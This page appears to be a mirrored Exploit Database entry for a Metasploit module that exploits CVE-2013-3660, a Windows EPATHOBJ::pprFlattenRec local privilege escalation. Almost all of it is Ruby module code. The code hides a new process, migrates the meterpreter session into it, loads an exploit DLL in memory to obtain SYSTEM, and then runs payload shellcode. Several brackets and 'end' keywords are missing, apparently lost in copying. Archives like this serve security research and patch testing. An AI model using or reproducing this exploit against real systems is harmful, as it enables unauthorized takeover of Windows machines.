Microsoft Windows – ‘EPATHOBJ::pprFlattenRec’ Local Privilege Escalation (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2013-07-02
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/26554/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/windows/priv'

require 'msf/core/post/windows/process'

class Metasploit3 < Msf::Exploit::Local

Rank = AverageRanking

include Msf::Post::File

include Msf::Post::Windows::Priv

include Msf::Post::Windows::Process

def initialize(info={})

super(update_info(info, {

'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',

'Description'=> %q{

This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage

of uninitialized data which allows to corrupt memory. At the moment, the module has

been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.

'License'=> MSF_LICENSE,

'Author' =>

[

'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit

'progmboy <programmeboy[at]gmail.com>',# Original Exploit

'Keebie4e',# Metasploit integration

'egypt', # Metasploit integration

'sinn3r',# Metasploit integration

'Meatballs', # Metasploit integration

'juan vazquez' # Metasploit integration

'Arch' => ARCH_X86,

'Platform' => 'win',

'SessionTypes' => [ 'meterpreter' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Targets'=>

[

[ 'Automatic', { } ]

'Payload'=>

{

'Space' => 4096,

'DisableNops' => true

'References' =>

[

[ 'CVE', '2013-3660' ],

[ 'EDB', '25912' ],

[ 'OSVDB', '93539' ],

[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],

'DisclosureDate' => 'May 15 2013',

'DefaultTarget'=> 0

}))

end

def check

os = sysinfo["OS"]

if os =~ /windows/i

return Exploit::CheckCode::Vulnerable

end

def exploit

if sysinfo["Architecture"] =~ /wow64/i

fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")

elsif sysinfo["Architecture"] =~ /x64/

fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")

end

print_status("Creating a new process and migrating...")

cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"

new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })

new_pid = new_proc.pid

if not new_pid

print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")

else

print_status("Migrating to #{new_pid}")

migrate_res = false

begin

migrate_res = session.core.migrate(new_pid)

rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError

migrate_res = false

end

if migrate_res

print_good("Successfully migrated to process #{new_pid}")

else

print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")

end

print_status("Trying to load the exploit and executing...")

session.core.load_library({

"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),

"UploadLibrary" => true,

"Extension" => false,

"TargetFilePath"=> "#{rand_text_alpha(5 + rand(3))}.dll",

"SaveToDisk"=> false

})

print_status("Checking privileges after exploitation...")

if is_system?

print_good("Exploitation successful!")

else

fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")

end

if execute_shellcode(payload.encoded)

print_good("Enjoy!")

else

fail_with(Exploit::Failure::Unknown, "Error while executing the payload")

end